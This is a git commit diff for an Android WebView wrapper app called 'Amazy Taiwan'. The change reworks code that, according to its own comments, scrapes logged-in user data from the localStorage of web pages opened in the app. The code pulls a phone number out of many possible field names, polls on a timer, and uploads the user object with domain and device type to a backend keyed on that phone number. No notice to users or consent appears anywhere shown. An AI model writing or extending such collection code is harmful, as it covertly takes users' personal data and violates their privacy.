fix(api): 优化站点用户信息上报逻辑和接口

- 修改App名称为“Amazy Taiwan”,更新对应配置字段
- 更改站点用户信息上报接口地址为“api/client/user-info”
- 上报数据中新增设备类型字段 deviceType,值固定为 ANDROID
- data 字段必须为JSON对象且包含必填字段 mobile
- mobile字段缺失时,用手机号候选字段中第一个有效值补充
- 添加数据解析异常和手机号缺失时跳过上报的逻辑
- 更新上报方法,调整请求体字段和接口调用方式
This commit is contained in:
2026-08-03 09:44:59 +08:00
parent cde179becc
commit bce9cac658
3 changed files with 44 additions and 13 deletions

View File

@@ -3,7 +3,7 @@ plugins {
id 'com.google.gms.google-services' id 'com.google.gms.google-services'
} }
def appOutPutName = "amazy" def appOutPutName = "Amazy Taiwan"
android { android {
namespace rootProject.ext.namespace namespace rootProject.ext.namespace
@@ -22,7 +22,7 @@ android {
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色 //底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#FFFFFF') resValue('color', 'style_color', '#FFFFFF')
//app 名字 //app 名字
resValue('string', 'app_name', 'Amazy') resValue('string', 'app_name', 'Amazy Taiwan')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\"" buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
@@ -30,7 +30,7 @@ android {
buildConfigField "boolean", "IS_WHITE", "false" buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true" buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10" buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true" buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false" buildConfigField "boolean", "HAS_HOOK", "false"
} }

View File

@@ -69,13 +69,12 @@ public interface ApiService {
/** /**
* 上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户) * 首次采集上报站点用户信息(从网页 localStorage 抓取并净化后的登录用户)
* body 至少包含 userId(本系统内的网站ID)、domain(站点域名)、userInfo(净化后的用户信息JSON) * body: userId(应用在系统中的用户ID)、domain(站点域名)、deviceType(IOS/ANDROID)、data(用户对象JSON必须为对象)
* 后端需按手机号再做一次去重(手机号字段名不一定是 mobile * data.mobile 必填,后端以 mobile 为全局唯一键,重复提交不覆盖
* TODO 接口路径待后端确认后替换(当前为占位地址)
*/ */
@POST("api/statistics/user") @POST("api/client/user-info")
Observable<Result> reportSiteUser(@Body Map<String, Object> map); Observable<Result> saveCollectedUserInfo(@Body Map<String, Object> map);
} }

View File

@@ -1005,7 +1005,7 @@ public class MainActivity extends AppCompatActivity {
private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L; private static final long SITE_USER_POLL_INTERVAL_LONG = 24 * 60 * 60 * 1000L;
/** /**
* 前端去重用的手机号候选字段:手机号不一定都在 mobile 字段里,按顺序取第一个命中的。 * 手机号候选字段(用于前端去重;原始数据没有 mobile 字段时,取这里命中的值补进 data.mobile
*/ */
private static final String[] SITE_USER_PHONE_KEYS = { private static final String[] SITE_USER_PHONE_KEYS = {
"mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no", "mobile", "mobileNo", "mobileNum", "mobileNumber", "mobile_number", "mobile_no",
@@ -1015,6 +1015,8 @@ public class MainActivity extends AppCompatActivity {
}; };
// 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过 // 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过
private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup"; private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
// 上报设备类型(后端接口要求 IOS 或 ANDROID
private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
private boolean siteUserPollingStarted = false; private boolean siteUserPollingStarted = false;
private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT; private long siteUserPollInterval = SITE_USER_POLL_INTERVAL_SHORT;
@@ -1162,14 +1164,44 @@ public class MainActivity extends AppCompatActivity {
} }
/** /**
* 上报站点用户信息,绑定对应 app 的网站ID(userId) 和当前站点域名(domain)。 * 上报站点用户信息,绑定对应 app 的网站ID(userId)站点域名(domain)和设备类型(deviceType)
* 按后端接口文档data 必须是 JSON 对象data.mobile 为全局唯一键;
* 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。
*/ */
private void reportSiteUser(String userInfo) { private void reportSiteUser(String userInfo) {
HashMap<String, Object> data;
try {
data = new Gson().fromJson(userInfo,
new com.google.gson.reflect.TypeToken<HashMap<String, Object>>() {
}.getType());
} catch (Exception e) {
return;
}
if (data == null || data.isEmpty()) {
return;
}
// data.mobile 兜底:没有 mobile 时用电话候选字段补一个
Object mobileVal = data.get("mobile");
boolean hasMobile = mobileVal != null
&& String.valueOf(mobileVal).trim().length() > 0
&& !"null".equals(String.valueOf(mobileVal).trim());
if (!hasMobile) {
String phone = extractPhone(userInfo);
if (TextUtils.isEmpty(phone)) {
// 完全没有电话字段:后端要求 data.mobile 必填,本次跳过,保持轮询等待
LogUtils.i("站点用户无手机号字段,跳过上报");
return;
}
data.put("mobile", phone);
}
HashMap<String, Object> body = new HashMap<>(); HashMap<String, Object> body = new HashMap<>();
body.put("userId", userId); body.put("userId", userId);
body.put("domain", getCurrentDomain()); body.put("domain", getCurrentDomain());
body.put("userInfo", userInfo); body.put("deviceType", SITE_USER_DEVICE_TYPE);
Api.getInstance().reportSiteUser(body) body.put("data", data);
Api.getInstance().saveCollectedUserInfo(body)
.subscribeOn(Schedulers.io()) .subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread()) .observeOn(AndroidSchedulers.mainThread())
.subscribe(new BaseObserver<Result>() { .subscribe(new BaseObserver<Result>() {